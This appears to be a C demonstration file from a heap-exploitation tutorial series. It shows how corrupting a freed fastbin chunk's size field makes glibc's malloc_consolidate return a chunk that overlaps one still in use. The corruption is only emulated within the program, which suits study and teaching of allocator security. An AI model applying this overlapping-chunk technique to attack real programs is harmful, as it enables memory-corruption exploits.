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ptmalloc-fanzine/02-consolidate/overlapping_fastchunk.c
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#include <stddef.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#define PREV_INUSE 0x1 | |
#define IS_MMAPPED 0x2 | |
typedef size_t INTERNAL_SIZE_T; | |
struct malloc_chunk { | |
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ | |
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ | |
struct malloc_chunk* fd; /* double links -- used only if free. */ | |
struct malloc_chunk* bk; | |
/* Only used for large blocks: pointer to next larger size. */ | |
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ | |
struct malloc_chunk* bk_nextsize; | |
}; | |
typedef struct malloc_chunk* mchunkptr; | |
int main() { | |
malloc(1); | |
void *m1 = malloc(0x20); | |
void *m2 = malloc(0x100); | |
// allocate another chunk to avoid the top-handling special casing | |
void *m3 = malloc(0x100); | |
mchunkptr p1 = (mchunkptr)((char*)m1 - offsetof(struct malloc_chunk, fd)); | |
printf("allocated fastbin-sized (0x%zx) chunk p1: %p\n", p1->size, (void*)m1); | |
mchunkptr p2 = (mchunkptr)((char*)m2 - offsetof(struct malloc_chunk, fd)); | |
printf("allocated small (0x%zx) chunk p2: %p\n", p2->size, (void*)m2); | |
printf("freeing p1\n"); | |
free(m1); | |
printf("emulating corruption of p1\n"); | |
p1->size += p2->size & ~PREV_INUSE; | |
printf("triggering malloc_consolidate via allocation for large chunk\n"); | |
malloc(0x400); | |
printf("after consolidation malloc(0x%x) returns %p\n", 0x100, malloc(0x100)); | |
return 0; | |
} |